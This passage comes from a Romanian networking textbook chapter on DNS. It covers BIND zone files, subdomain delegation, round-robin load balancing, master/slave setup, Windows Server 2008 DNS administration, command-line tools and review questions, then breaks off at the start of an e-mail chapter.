Verificarea cu argumentul t CNAME ofer direct rezultatul alias-ului:


waters@myr:~$ host -t CNAME f1.politehnica.ro 142.100.111.80 Using domain server: Name: 142.100.111.80 Address: 142.100.111.80#53

264 | R e e l e L o c a l e
Aliases: f1.politehnica.ro is an alias for www.politehnica.ro.

7.3 Configurri avansate DNS


7.3.1 Delegarea unui subdomeniu DNS.
Delegarea DNS este un proces ce a stat la baza ntregii ierarhii a protocolului. Pentru a analiza acest concept se va considera o situaie n care un administrator de reea dorete s i cumpere un domeniu de la ROTLD (Romanian Top Level Domain), cu numele: poliadmin.ro. ROTLD, care deine domeniul .ro, va trebui s delege autoritatea pentru subdomeniul pe care l vinde. Mai exact, autoritatea ROTLD va crea de acum o asociere ntre IP-ul pe care administratorul l va asigna staiei ce gzduiete serverul de nume i domeniul poliadmin.ro. Aceast asociere va putea fi comunicat de ctre TLD-ul .ro, oricrui server din Internet care va dori s o afle. Mai mult, administratorul care a cumprat domeniul poliadmin.ro, poate delega mai departe subdomenii din acesta: foxxy.poliadmin.ro, suzy.poliadmin.ro, etc. Cnd serverul de nume autoritar peste poliadmin.ro va primi o cerere nerecursiv pentru domeniul suzy.poliadmin.ro, va rspunde cu adresa IP a serverului de nume cruia a delegat autoritatea pentru respectivul subdomeniul. Singura nregistrare cu care se poate realiza delegarea de domenii este nregistrarea NS. Pentru a clarifica mai bine acest concept se va continua exemplul de mai sus cu delegarea subdomeniului cs.politehnica.ro. Rspunztor de acest subdomeniu este serverul de nume ns.cs.politehnica.ro. Adresa acestuia (142.100.222.53) va fi specificat printr-o nregistrare de tip A. Procesul de delegare are loc de fapt n fiierul de zon db.politehnica.ro. Fisierul va arta astfel:
$ORIGIN politehnica.ro. $TTL 36000 @ IN SOA ns.politehnica.ro. admin.politehnica.ro. ( 2007092001 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT "Universitatea Plitehnica Bucuresti" NS ns MX 10 mail A 142.100.111.53 ns mail www ftp IN IN IN IN A A A A 142.100.111.53 142.100.111.25 142.100.111.80 142.100.111.21

; urmeaz partea de delegare cs ns.cs NS A ns.cs

142.100.222.53

Ultimele 2 linii din fiier reprezint delegarea domeniului cs.politehnica.ro ctre serverului de nume ns.cs.politehnica.ro, de pe staia cu IP-ul 142.100.22.53. nregistrarea de tip NS specific serverul de nume pentru numele cs.politehnica.ro, iar nregistrarea de tip A asociaza serverul de nume cu un IP. Acum autoritatea a fost delegat. Nu mai rmne dect s se configureze serverul pentru cs.politehnica.ro, pentru a avea cine s rspund la o cerere pentru acest domeniu. Configurarea decurge n mod asemntor cu cea pentru serverul autoritar domeniului politehnica.ro.

265 | D N S

n fiierul de zone se adaug o singur intrare de zon, cea corespunztoare rezolvrii directe a domeniului cs.politehnica.ro:
zone "cs.politehnica.ro" { type master; file "/etc/bind/db.cs.politehnica.ro"; };

Pentru fiierul de zon db.cs.politehnica.ro se adaug aceleai tipuri de nregistrri ca n cazul db.politehnica.ro, cu exceptia nregistrrilor corespunztoare delegrii de subdomeniu.
$ORIGIN politehnica.ro. $TTL 36000 cs IN SOA ns.cs.politehnica.ro. admin.cs.politehnica.ro. ( 2007092001 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT "Computer Science Department" NS ns.cs MX 10 mail.cs A 142.100.222.53 $ORIGIN cs.politehnica.ro. ns www ftp mail A A A A 142.100.222.53 142.100.222.80 142.100.222.21 142.100.222.25

similaritatea foarte mare a configuraiei fiierului de zon db.cs.politehnica.ro cu fiierul db.politehnica.ro. Excepiile constau n numele de domeniu i adresele IP.

Se

observ

7.3.2 Efectuarea DNS load-balancing.


Cu ajutorul serverului DNS se poate implementa o form destul de primitiv de load balancing, n care clientul va primi ntr-o maniera round-robin1 un IP dintr-o list de n IP-uri. Astfel dac n clieni vor face cte o cerere fiecare, vor primi n IP-uri diferite. Implementarea efectiv este destul de simpl n serverul BIND i presupune existena a mai multe nregistrri de tip A pentru acelai nume de domeniu.
[...] www IN IN IN IN A A A A 142.100.111.80 142.100.111.81 142.100.111.82 142.100.111.21

ftp [...]

Se observ cum la realizarea unor cereri cu ajutorul utilitarului host, serverul rspunde cu o list de IP-uri permutata ntr-o maniera round-robin. De obicei un client care va primi 3 rspunsuri de tip A, l va alege pe primul i le va ignora pe restul.
waters@myr:~$ host www.politehnica.ro 142.100.111.53 Using domain server: Name: 142.100.111.53 Address: 142.100.111.53#53 Aliases: www.radiance.ro has address 142.100.111.80 www.radiance.ro has address 142.100.111.81 www.radiance.ro has address 142.100.111.82 waters@myr:~$ host www.radiance.ro 142.100.111.53 Using domain server: Name: 142.100.111.53 Address: 142.100.111.53#53 Aliases:
1

parcurgere secvenial a unei liste circulare

266 | R e e l e L o c a l e
www.radiance.ro has address 142.100.111.82 www.radiance.ro has address 142.100.111.80 www.radiance.ro has address 142.100.111.81 waters@myr:~$ host www.radiance.ro 142.100.111.53 Using domain server: Name: 142.100.111.53 Address: 142.100.111.53#53 Aliases: www.radiance.ro has address 142.100.111.81 www.radiance.ro has address 142.100.111.82 www.radiance.ro has address 142.100.111.80

7.3.3 Configurarea DNS Master/Slave.


Majoritatea serverelor DNS implementate ntr-un scenariu real au n componen i un server slave aflat pe o maina fizic separat care s poat interveni n cazul n care masterul ar nceta s mai funcioneze. La un interval specific, serverul ca copia fiierele de zon de la master i astfel se va pstra ntotdeauna sincronizat cu acesta. Configuraia de master slave este prezentat n continuarea exemplului de baz folosit n acest capitol pentru domeniul politehnica.ro. n primul rnd, fiierul de zon va trebui modificat pentru a oferi o traducere i pentru serverul de nume care este slave. Se vor introduce dou nregistrri NS, n loc de una, pentru ambele severe de nume.
$ORIGIN politehnica.ro. $TTL 36000 @ IN SOA ns1.politehnica.ro. admin.politehnica.ro. ( 2008090501 ; Serial 8H ; Refresh 2H ; Retry 1W ; Expire 1D ; Negative TTL ) TXT "Universitatea Plitehnica Bucuresti" NS ns1.politehnica.ro. NS ns2.politehnica.ro. MX 10 mail.politehnica.ro. A 142.100.111.53 ns1 ns2 mail www ftp IN IN IN IN IN A A A A A 142.100.111.53 142.100.99.1 142.100.111.25 142.100.111.80 142.100.111.21

Trebuie fcute dou observaii legate de fiierul de mai sus:


dei s-au definit dou servere NS, doar masterul este introdus n nregistrarea SOA serverul ns1 i ns2 sunt localizate pe maini diferite (IP-uri diferite n nregistrrile de tip A); redundana este dus chiar mai departe prin faptul ca cele dou maini se afl n subneturi diferite cu masca /24.

Urmeaz definirea zonelor pentru fiecare server. Configurrile se vor face direct n fiierul principal de configurare (fr a mai folosi named.conf.options i named.conf.local) Serverul master va avea urmtoarea intrare de zon n named.conf:
zone "politehnica.ro" { type master; file "/etc/bind/db.politehnica.ro"; notify yes; also-notify { 141.85.37.33; 193.230.31.225; }; allow-transfer { 142.100.99.1 }; };

Observaii:
tipul serverului este setat ca master

267 | D N S directiva notify: atunci cnd aceast directiv este folosit i setata la valoarea yes, la fiecare schimbare a fiierului de zon se vor trimite mesaje speciale de NOTIFY tuturor serverelor slave care sunt specificare n fiierul de zon prin nregistrarea NS (adic serverele de nume cu nregistrri NS, n afara de cel master care este specificat n SOA). directiva allow-transfer: permite transferul doar ctre serverul slave cu IP-ul specificat. Dac aceasta directiv ar lipsi, orice server ar putea s descarce configuraiile de zon de la master. directiva also-notify: este folosit pentru a notifica i alte servere, care se afl de obicei mai sus n ierarhia DNS, de schimbarea unui fiier de zon. Este trimis tot un mesaj de tip NOTIFY, odat cu mesajele trimise i serverelor slave. cele 3 opiuni specificate prin directivele de mai sus se vor aplica doar zonei politehnica.ro! Dac acestea ar fi fost introduse n named.conf.options sub directiva global options, acestea s-ar fi aplicat global.
zone "politehnica.ro" { type slave; file "/etc/bind/db_slave.politehnica.ro.txt"; masters { 142.100.111.53; }; allow-notify { 142.100.111.53; }; };

Intrarea de zon din fiierul de configurare al serverului slave va arta astfel:

Observaii:
tipul serverului de nume este slave directiva masters: indic slave-ului IP-ul serverului master de la care s i descarce configuraia directiva allow-notify: specific serverele master de la care acest slave accept notificri

7.4 Configurarea unui server DNS pe Windows Server 2008


Buna funcionare a unui sistem de rezolvare a numelor reprezint o component cheie n orice sistem de operare orientat spre reea. nsi funcionarea unei reele se bazeaz pe posibilitatea ca entitile ce o formeaz s se poat localiza ntre ele. n consecin, modul de rezolvare a numelor trebuie s fie flexibil i robust. De asemenea, este de preferat ca acesta s adere standardelor, din punct de vedere al interoperabilitii i al scalabilitii. Pentru Windows Server 2008, DNS (Domain Name System) reprezint principala modalitate de rezolvare a numelor i, totodat, reprezint o component de baz a oricrei infrastructuri de tip Active Directory. O alternativ la DNS folosit de unii administratori este WINS (Windows Internet Name Service), un serviciu de rezolvare a numelor bazat pe NetBIOS care realizeaz asocieri ntre adresele IP ale staiilor dintr-o reea i numele lor NetBIOS, stocndu-le ntr-o baz de date dinamic si distribuit. NetBIOS (Network Basic Input/Output System) reprezint un protocol ce ruleaz peste TCP/IP1 i permite calculatoarelor dintr-o reea s comunice pe baza pe baza unuia sau a mai multor nume de tip NetBIOS. NetBIOS ofer servicii din categoria nivelului sesiune al stivei OSI. Att WINS ct i DNS reprezint modaliti de rezolvare a numelor, disponibile pe sistemele Windows. WINS realizeaz rezolvarea numelor n spaiul de nume NetBIOS, n timp ce DNS le rezolv n spaiul de nume al domeniilor DNS. n general, WINS este folosit att de ctre clienii ce folosesc versiuni mai vechi de Windows, ct i de aplicaiile bazate pe NetBIOS. Windows 2000, XP, 2003 Server i 2008 Server folosesc i nume DNS, pe lng cele oferite de NetBIOS.

NetBIOS peste TCP/IP mai este prescurtat i NBT.

268 | R e e l e L o c a l e

7.4.1 Instalare i configurare


Instalarea serviciului DNS pentru Windows Server 2008 se realizeaz prin adugarea unui rol al serverului. Folosind Server Manager se acceseaz interfaa Add Server Roles i se selecteaz DNS Server din list. Se continu instalarea, innd cont de recomandarea de a avea configurat adres static pe interfaa pe care se dorete ca serverul DNS s rspund cererilor. Server Manager va ateniona n cazul n care nu detecteaz nicio interfa configurat static. DNS se ocup, n principal, cu zonele de rezolvare direct (forward lookup zones), care realizeaz conversia din nume n adrese IP. De asemenea, el se ocup i de conversia invers, din adrese IP n nume (reverse lookup).

7.4.1.1 Configurarea iniial i crearea unei zone


Dup instalare, interfaa de administrare a serverului DNS pote fi accesat de la Start > Administrative Tools > DNS. Configurarea iniial se poate realiza de la meniul Action > Configure a DNS Server. n etapele ce urmeaz se vor exemplifica o serie de aciuni i configurri pentru a pune n eviden principalele faciliti ale serverului:
1. Pentru nceput, se alege tipul de zon ce va fi creat. Se poate alege dintre: forward lookup zone, forward and reverse lookup zones sau root hints. Se va crea o zon de rezolvare direct (forward lookup).

7-4: Alegerea zonei


2. n continuare, se specific dac serverul local este responsabil pentru zon sau deine doar o copie read-only a zonei configurate pe un alt server. Se merge pe prima opiune.

269 | D N S

7-5: Alegerea serverului principal pentru zon


3. Se introduce un nume pentru zona creat. Acesta este FQDN-ul su (Fully Qualified Domain Name).

7-6: Numele zonei


4. Fiierul de configuraie al zonei poate fi unul nou sau exist opiunea de a ncrca o configuraie dintr-un fiier deja existent, creat pe un alt server. Fiierele de configuraie sunt de tip text, n format ASCII i sunt localizate n %systemroot%\system32\dns. Se va crea un fiier nou:

7-7: Fiierul de configuraie al zonei


5. Urmtoarea pagin specific dac zona va accepta sau nu actualizri dinamice. Dac actualizrile dinamice sunt active, clienii DNS vor putea s i nregistreze i s i actualizeze propriile ntrri (RR Resource Records). n acest caz este important de verificat identitatea surselor de la care sosesc aceste actualizri pentru a evita inserarea de informaii corupte n fiierele de configuraie. Pentru acest exemplu se va alege Allow both secure and nonsecure updates:

270 | R e e l e L o c a l e

7-8: Actualizri dinamice


6. La pasul urmtor se alege comportamentul pentru cererile pe care serverul nu le poate rezolva direct. Exist opiunea de a forward-a cererile spre alte servere sau de a ncerca s rezolve astfel de cereri ncepnd de la root servers, fr a le forward-a mai departe. Se alege opiunea cea din urm:

7-9: Forward-area cererilor spre alte servere

7.4.1.2 Proprieti ale serverului DNS


Pentru a accesa proprietile avansate ale serverului DNS se alege opiunea Properties din meniul contextual al serverului (obinut la clic dreapta pe numele serverului, din interfaa de administrare). n fereastra de proprieti a serverului sunt disponibile opiunile grupate n urmtoarele cateogorii:
Interfaces: Cuprinde interfeele de reea pe care serverul DNS va asculta cereri. Pot fi selectate automat toate interfeele active sau se pot selecta doar anumite interfee, dup adresele IP (recomandabil, statice), IPv4 sau IPv6.

271 | D N S Forwarders: Reprezint aceeai list de servere ce putea fi completat i la configurarea iniial: serverele din aceast list vor fi contactate pentru cererile pe care serverul DNS nu le poate rezolva singur. Advanced: Opiunile avansate includ activarea sau dezactivarea cererilor recursive (i totodat a utilizrii serverelor de forwarding), posibilitatea de compatibilitate cu serverele BIND (spre exemplu pentru cazul n care se folosete un astfel de server ca server secundar), comportamentul la erorile din fiierele de configurare a zonelor, round-robin n funcie de prioriti1, setul de caractere al numelor acceptate n cereri, amd.

7-10: Opiuni avansate ale serverului DNS


Root hints: Lista de servere ce sunt contactate pentru zonele ce nu sunt configurate local n serverul DNS, n cazul n care nu exist servere de forwarding sau acestea nu rspund. Debug logging: Pentru a supraveghea funcionarea serverului, pot fi nregistrate ntr-un fiier informaii despre pachetele care circul prin serverul DNS. Se poate selecta direcia (intrare, ieire), protocolul folosit (TCP, UDP) i ce tipuri de pachete vor fi notate. De asemenea, se poate aplica un filtru pentru a selecta pachetele n funcie de adresa IP de la care sosesc sau spre care sunt destinate (Figura 7-11). Event logging: Serverul DNS poate meniona n jurnale diferitele evenimente ce apar n decursul rulrii sale, ca erori i avertismente. Aici se poate configura care dintre acestea vor aprea n jurnale. Monitoring: Aici pot fi efectuate o serie de teste asupra funcionrii serverului, folosind cereri recursive sau nerecursive. Se pot efectua teste imediate sau la intervale regulate, iar rezultatele lor sunt evaluate.

Round-robin activat din proprietile serverului se face la nivel de server i nu la nivel de zon.

272 | R e e l e L o c a l e

7-11: Opiuni de debug

7.4.1.3 Proprieti ale intrrilor DNS n Windows Server 2008


O zona DNS conine diverse tipuri de intrri, numite resource records (RR). Ele sunt esena unei zone DNS, oferind informaii despre nume, adrese i, n unele cazuri, despre unele servicii. Pentru adugarea unui nou resource record, avnd selectat zona dorit, din panoul de aciuni se alege tipul de intrare ce se dorete a fi creat. Tipurile de intrri suportate de serverul DNS pe Windows Server 2008 se conformeaz standardului descris n RFC 1035 Domain names: Implementation and specification:
A (host): Mapeaz o un nume la o adres IP. O intrare de tipul A n fiierul de configuraie arat n felul urmtor:
storage A 192.168.1.12

Folosind intrrile A, se poate implementa o tehnic de load balancing denumit i round-robin DNS, n care, sunt definite mai multe intrri de tip A cu acelai nume dar adrese IP diferite, astfel c un client care interogheaz serverul DNS are o anumit probabilitate de a primi adresa unui anumite staii. Tehnica este util n momentul n care se dorete scderea ncrcrii asupra unui server prin instalarea mai multor servere ce ofer acelai serviciu i reprezint o soluie foarte simpl (dei uneori ineficient, n practic) de distribuire uniform a cererilor spre servere. Tot n practic, trebuie inut cont de faptul c un client Windows 2000 sau XP va pstra n cache-ul local informaia despre primul server a crui adres a obinut-o n urma rezolvrii. O astfel de intrare are valoarea implicit de 86400 secunde (o zi). Micorarea acestei valori poate pune mai bine n valoare load-balancing-ul implementat pe serverul DNS. Totui, acest gen de load balancing are dezavantajele sale: nu e flexibil, nu ine cont de capabilitile serverelor ntre care distribuie cererile i nu poate fi notificat despre un server care devine inoperaional.

273 | D N S

7-12: Proprietile unei intrri de tip A (host)


CNAME (canonical name): Permite atribuirea mai multor nume aceleiai staii, ce folosete o singur adres IP. Prin CNAME, o staie poate fi accesat printr-o adres IP i mai multe alte nume. Un CNAME reprezint, practic, un alias. O intrare CNAME n fiierul de configuraie arat n felul urmtor:
ftp CNAME data.storage.com

7-13: Proprietile unei intrri de tip CNAME


MX (mail exchanger): nregistreaz identitatea serverului (sau serverelor) de e-mail pentru o anumit zon sau domeniu. Ele direcioneaz toate calculatoarele ce doresc s trimit mesaje e-mail spre un anumit domeniu spre un anumit server destinat primirii lor. n fiierele de configurare, intrrile MX sunt identificate printr-un numr de preferin. Numerele mai mici ofer o prioritate mai mare. Exemple de intrri MX sunt urmtoarele:
@ MX 10 mail.storage.com @ MX 100 queue.storage.com

n cazul n care primul server nu rspunde, va fi contactat cel de-al doilea, pentru c numrul su de preferin este mai mare. Exist posibilitatea de a defini mai multe intrri de tip MX cu aceeai valoare numeric drept preferin, ceea ce are drept efect realizarea unui load balancing simplu, ca i n cazul intrrii A. NS (nameserver): Intrrile definesc serverele de nume ce rspund cererilor pentru un anumit domeniu. De asemenea, ele pot delega rezolvrile numelor pentru anumite subdomenii unor altor servere. O intrare NS ntr-un fiier de configurare arat n modul urmtor:
@ NS ns1.storage.com

274 | R e e l e L o c a l e

7-14: Proprietile unei intrri de tip MX

7-15: Proprietile unei intrri de tip NS


SOA (start of authority): Cuprinde serverele de nume primare ce sunt autoritare pentru o anumit zon, precum i o informaie de contact pentru administratorul respectivei zone. De asemenea, stabilete perioada de timp pentru care un server neautoritar poate pstra informaiile primite nainte de a le verifica din nou la serverul autoritar. Un exemplu de intrare SOA este umrtorul:
@ IN SOA ns.storage.com. admin.storage.com. ( 200808272000; serial number timestamp al ultimei modificri 100; refresh 50; retry 86400 ; expire 3600 ) ; default TTL validitatea informaiilor de la serverul autoritar

275 | D N S

7-16: Proprietile unei intrri de tip SOA


O intrare SOA este automat creat la instalarea serverului DNS, cu valori implicite pentru maina local. PTR (pointer): Realizeaz funcia opus unei intrri de tip A. Un exemplu poate fi urmtorul:
61.130.98.66.in-addr.arpa. IN PTR site3.storage.com

Pentru a defini o intrare de tip PTR (manual sau automat, la crearea unei intrri de tip A) este necesar crearea unei zone de tip reverse lookup (zon de rezolvare invers). Crearea unei astfel de zone se face similar cu a uneia de tip forward lookup, cu diferea c va exista i opiunea de a crea o zon de rezolvare invers pentru adrese IPv4 sau IPv6.

7-17: Proprietile unei intrri de tip PTR


SRV (service): Indic tipul i acoperirea unor servicii pentru o anumit zon i sunt de mare importan pentru funcionarea Active Directory. Ca i intrrile de tip MX, intrrile SRV dein un numr de preferin, deci exist i posibilitatea de a realiza o form de load balancing. Un exemplu de intrare de tip SRV, ntr-un fiier de configurare, poate fi urmtorul:
_kerberos._tcp._sites.dc._msdcs 600 SRV 100 88 global.storage.com.

276 | R e e l e L o c a l e Pe scurt, cmpurile au urmtoarele semnificaii:


o o o o o o _kerberos reprezint serviciul despre care se ofer informaii; _tcp indic indic faptul c acesta utilizeaz TCP pentru funcionare, deci poate indica i UDP; global.storage.com reprezint numele serverului ce ofer acest serviciu; 600 indic perioada de validitate (TTL) a nregistrrii, n secunde; 88 este portul pe care funcioneaz serviciul; 100 este un numr ce indic preferina acestei intrri, ca i n cazul MX-urilor.

Intrrile de tip SRV sunt importante pentru Active Directory deoarece indic ce staii din domeniu ruleaz servicii Active Directory. Serviciile pe care Active Directory le caut n intrrile de tip SRV sunt urmtoarele (intrarea SRV, n general, suport mai multe):
o o o o _kerberos: autentificare folosind servere Kerberos Key Distribution Center (KDC); _kpasswd: mecanism de schimbare securizat a parolei Kerberos; _ldap: Lightweight Directory Access Protocol, o modalitate prin care programele externe pot comunica i schimba date cu Active Directory; _gc: Global Catalog, conine un subset al atributelor obiectelor dintr-o infrastructur Active Directory.

Pentru intrrile de mai sus, n cazul n care se dorete interoperabilitatea cu servere DNS din mediul UNIX (precum BIND), nu se pot folosi caracterele sau _.

7-18: Proprietile unei intrri de tip SRV

7.4.1.4 Crearea unui server de nume secundar


Pentru funcionarea unui server de nume secundar, este necesar ca acesta s ruleze Windows Server 2008 cu serviciul DNS instalat i trebuie s fie configurat pentru a se folosi pe el nsui drept server DNS:
1. Din interfaa de administrare a serviciului DNS, sub categoria Forward lookup zones, se alege New Zone din meniul contextual; 2. Se alege Secondary pentru a crea o zon de rezolvare secundar. Aceasta va indica i faptul c serverul local este unul secundar; 3. Se introduce numele zonei secundare; 4. Se introduc pe rnd numele (sau adresele) serverelor principale de pe care vor fi descrcate informaiile zonei.

Dac se dorete convertirea unui server secundar n unul principal, se poate realiza aceasta selectnd zona definit ca secundar i accesnd opiunea Properties din meniul contextual. La categoria General, n dreptul lui Type, se apas butonul Change (figura 7-19), dup care se poate alege noul tip de zon: Primary, Secondary sau Stub.

277 | D N S

7-19: Convertirea unei zone secundare

7.4.1.5 Transferuri de zone


Din moment ce utilizatorii obinuii din Internet nu trebuie s aib dreptul de a obine copii ale zonelor de pe orice server DNS deoarece aceasta ar putea expune ntreaga infrastructur a serverelor unei reele, deci un risc mare de securitate, se poate controla modul n care se pot realiza transferurile de zone. Interfaa pentru aceasta se acceseaz prin meniul de proprieti al unei zone, sub Zone transfers (figura 7-20):

7-20: Configurarea transferurilor de zone Dup cum se observ, transferurile de zone pot fi dezactivate n totalitate. Totui, dac se alege activarea lor, se pot impune limitri astfel nct acestea s nu poat fi realizate dect cu serverele listate la Name servers (deci serverele de nume aflate sub control propriu, cel mai

278 | R e e l e L o c a l e

adesea) sau doar cu o serie de servere ale cror adrese pot fi introduse n lista de mai sus (fig 7-20). Tot de aici poate fi configurat i opiune de notificare a altor servere n urma schimbrilor efectuate ntr-o zon. Pot fi contactate doar serverele din lista Name Servers sau efectiv cele introduse manual n lista din fereastra Notify (figura 7-21):

7-21: Notificarea altor servere

7.5 Configurri n linie de comand


7.5.1 Fiierul Hosts
Ca i n cazul sistemelor Linux, i Windows deine un fiier prin care sunt traduse local corespondenele dintre nume i adrese IP. Acest fiier este localizat n %systemroot%\System32\drivers\etc\Hosts (adic, spre exemplu, n C:\Windows\System32\drivers\etc\Hosts). Informaiile din fiierul Hosts afecteaz rezolvarea numelor asupra ntregului sistem, nu doar pentru o conexiune, i nici doar pentru IPv4. nregistrrile din fiierul Hosts sunt trecute sub forma <adres> <nume> iar comentarea liniilor se face prin caracterul #.

7.5.2 Ipconfig
Cteva dintre funciile utilitarului ipconfig, folosit n principal pentru TCP/IP adreseaz i configuraia DNS a sistemului local:
ipconfig /displaydns

Comanda de mai sus afieaz nregistrrile n cache-ul local DNS (practic, numele deja rezolvate i care nu au expirat nc) i este util pentru depistarea erorilor de rezolvare pentru anumite nume. n funcie de sistemul de operare, fiecare nume a crui rezolvare a fost efectuat cu succes este reinut o perioad de ctre sistemul de operare pentru a nu mai necesita o nou contactare a serverului DNS pentru o eventual nou cerere.
ipconfig /flushdns

Folosind ipconfig mpreun cu parametrul /flushdns se poate fora tergerea intrrilor din cache-ul local. Toate rezolvrile ulterioare vor contacta prima oar serverul DNS, construind astfel din nou cache-ul.
ipconfig /registerdns

Parametrul /registerdns foreaz clientul s se renregistreze n mod dinamic la serverul DNS, dac zona respectiv suport actualizri dinamice (a se vedea i seciunea 7.4.1.1 Configurarea iniial i crearea unei zone).

279 | D N S

7.5.3 Dnscmd
Utilitarul dnscmd reprezint varianta n linie de comand a interfeei de administrare a serverului DNS din Windows Server 2008. El permite administratorilor s creeze zone, s modifice nregistrri i s efectueze o serie de aciuni administrative asupra serverului DNS. Pentru a enumera parametrii comenzii i efectele lor, se poate introduce comanda1:
dnscmd /?

Un exemplu de utilizare este urmtoarea comand:


dnscmd s6.corp.marketing.local corp.marketing.local.dns /ZoneAdd corp.marketing.local /Primary /file

Comanda de mai sus are ca efect crearea unei noi zone primare standard, numit pe un server cu numele s6.corp.marketing.local, a crei configuraie va fi stocat n fiierul corp.marketing.local.dns. n mod intuitiv, pentru crearea unei zone secundare se nlocuiete parametrul /Primary cu /Secondary. Un exemplu de adugare a unei noi nregistrri (RR) la o zon existent este urmtoarea comand:
corp.marketing.local
dnscmd s6.corp.marketing.local /RecordAdd corp.marketing.local www A 192.168.1.23

Prin comanda anterioar se adaug o nou nregistrare de tip A (host) numit www, la zona corp.marketing.local, ce face legtura cu adresa IP 192.168.1.23. Serverul pe care se efectueaz modificarea este acelai ca i n exemplul anterior, s6.corp.marketing.local. Vizualizarea tuturor zonelor dintr-un server se poate face prin comanda2:
C:\Users\Administrator>dnscmd ::1 /enumzones Enumerated zone list: Zone count = 3 Zone name . 15.86.117.in-addr.arpa storage.com Command completed successfully. Type Cache Primary Primary Storage File File File Properties Update Rev Update

tergerea cache-ului de pe un anumit server folosind dnscmd se poate face utiliznd comanda:
dnscmd s6.marketing.local /clearcache

Pentru o oprire i o repornire rapid a unui anumit server:


dnscmd s6.marketing.local /restart

Exportarea configuraiei unei zone DNS ntr-un fiier se face cu parametrul /zoneexport, urmat de numele zonei i apoi de numele fiierului n care aceasta va fi exportat:
dnscmd /zoneexport corp.marketing.local corp.marketing.local.dns

tergerea unei zone de pe un anumit server se realizeaz cu urmtoarea comand, unde primul parametru reprezint numele serverului pe care se efectueaz modificarea, iar numele de dup /zonedelete reprezint numele zonei de ters:
dnscmd s6.corp.marketing.local /zonedelete corp.marketing.local

O list mai cuprinztoare a parametrilor suportai de dnscmd poate fi accesat la adresa: http://www.minasi.com/newsletters/nws0803a.htm 2 ::1 este notaia adresei IPv6 pentru localhost, echivalentul lui 127.0.0.1 n IPv4.

280 | R e e l e L o c a l e

7.5.4 Nslookup
Utilitarul nslookup este printre cele mai utile i uor de utilizat metode de testare a funcionalitii unui server DNS. Funcia lui de baz este, practic, cea de rezolvare a unei cereri folosind serverul DNS declarat implicit n Windows. Pentru o simpla interogare de tip A (host) se introduce comanda nslookup urmat de numele de rezolvat:
C:\Users\Administrator>nslookup cs.pub.ro Server: dns-cache-3.rcs-rds.ro Address: 82.76.253.115 Non-authoritative answer: Name: cs.pub.ro Address: 141.85.37.5

nslookup suport i alte tipuri de interogri, precum MX sau SOA. Pentru a emite astfel de interogri, se introduce comanda nslookup fr parametri, se specific tipul de interogare dorit prin comanda set query si apoi se introduce numele de rezolvat, ca n exemplul urmtor (pentru a iei din prompt-ul nslookup se pot da comenzile exit, quit sau CTRL-C):
C:\Users\Administrator>nslookup Default Server: dns-cache-3.rcs-rds.ro Address: 82.76.253.115 > set query=mx > cs.pub.ro Server: dns-cache-3.rcs-rds.ro Address: 82.76.253.115 Non-authoritative answer: cs.pub.ro MX preference = 5, mail exchanger = mail.cs.pub.ro > set query=soa > cs.pub.ro Server: dns-cache-3.rcs-rds.ro Address: 82.76.253.115 Non-authoritative answer: cs.pub.ro primary name server = ns.cs.pub.ro responsible mail addr = admin.cs.pub.ro serial = 2008041301 refresh = 28800 (8 hours) retry = 7200 (2 hours) expire = 604800 (7 days) default TTL = 86400 (1 day)

281 | D N S

ntrebri
1. Care din afirmaiile de mai jos sunt adevrate? (alegei toate variantele care se potrivesc) DNS este o baz de date distribuit DNS este o baz de date centralizat administrarea bazei de date DNS se face centralizat administrarea bazei de date DNS se face distribuit 2. www.kde.org poate fi numele de domeniu pentru: (alegei toate variantele care se potrivesc) O intrare de tip NS O intrare de tip A O intrare de tip PTR O intrare de tip MX 3. Rspunsuri autoritare pot fi date de (alegei toate variantele care se potrivesc): Serverele de nume master Serverele de nume de tip forwarding Serverele de nume slave Serverele de nume tip caching-only 4. Care sunt doi factori importani pentru alegerea timpului de via a unei intrri din baza de date DNS? (alegei dou variante) Timpul de rspuns Lungimea numelui Numrul de separatori (.) din nume Acurateea rspunsului 5. Un client DNS trimite serverului DNS cereri ... ... ... ... i primete rspunsuri ... ... ... ... (alegei toate variantele care se potrivesc) nerecursive, autoritare nerecursive, neautoritare recursive, autoritare recursive, neautoritare 6. Intrarea ce identific serverul de nume asociat cu un domeniu este de tip: A PTR MX NS 7. Care este utilitatea seriei bazei de date a unui domeniu (serial)? Este folosit de serverul master pentru a verifica consistena cu root serverele Este folosit de serverul slave pentru a ti ce s-a schimbat la serverul master Este folosit de serverele de nume pentru a identifica intrrile din cache Este folosit de BIND pentru a identifica schimbrile efectuate asupra fiierului principal de configuraie

282 | R e e l e L o c a l e

8. Care este utilitatea cmpului TTL dintr-o nregistrare SOA? nregistrrile de tip SOA nu conin cmpuri TTL Specific durata de via pentru rspunsurile pozitive din cache Specific durata de via pentru rspunsurile negative din cache Specific durata de via pentru rspunsurile negative si pozitive din cache 9. Care poate fi cauza nerezolvrii cererilor DNS dac un client are configurat un server de nume n fiierul /etc/resolv.conf, iar serverul funcioneaz? Fiierul /etc/hosts nu conine numele interogat Fiierul /etc/nsswitch.conf nu conine cuvntul cheie DNS n linia ce descrie modalitatea de rezolvare a numelor staiilor Nu a fost pornit serviciul de rezolvare Serviciul de rezolvare este pornit, dar portul este filtrat cu ajutorul unui firewall 10. Care este directiva BIND9 prin care se pot specifica clienii care pot face cereri ctre server? allow-answer allow-query forwarders forwarding-servers

283 | E - m a i l

8 E-mail
Diamonds are forever. E-mail comes close. June Kronholz

Ce se nva din acest capitol?


Funcionarea serviciului de e-mail Protocoale folosite: SMTP, IMAP, POP3 Configurarea Postfix Configurare Courier-IMAP Configurarea Procmail

Cine este...
Eric Paul Allman este creatorul programului sendmail i al precursorului acestuia numit delivermail. Sendmail a devenit o parte important a distribuiei de software de la Berkley (BSD) i este n continuare cel mai utilizat MTA n sistemele Unix. n 1998 a fontat Sendmail Inc. pentru a lucra la mbuntirea sendmail. Wietse Venema este un programator i fizician olandez, creatorul i principalul dezvoltator al server-ului de e-mail Postfix. De asemenea, a scris mai multe aplicaii n domeniul securitii sistemelor. Din 1996, lucreaza n Statele Unite la IBM Thomas J. Watson Research Center unde continua sa dezvolte Postfix. A primit numeroase premii pentru activitile sale. Ray Tomlinson este persoana care a implementat primul sistem de e-mail ntr-o reea, mai precis n reeaua ARPANet. Sistemul putea sa trimit e-mail-uri pentru utilizatori legai la computere din ARPANet folosind semnul @ pentru a separa numele utilizatorului de numele host-ului. A ajutat la implementarea protocolului Telnet i a modificat programul SNDMSG pentru a permite trimiterea mesajelor i la utilizatori 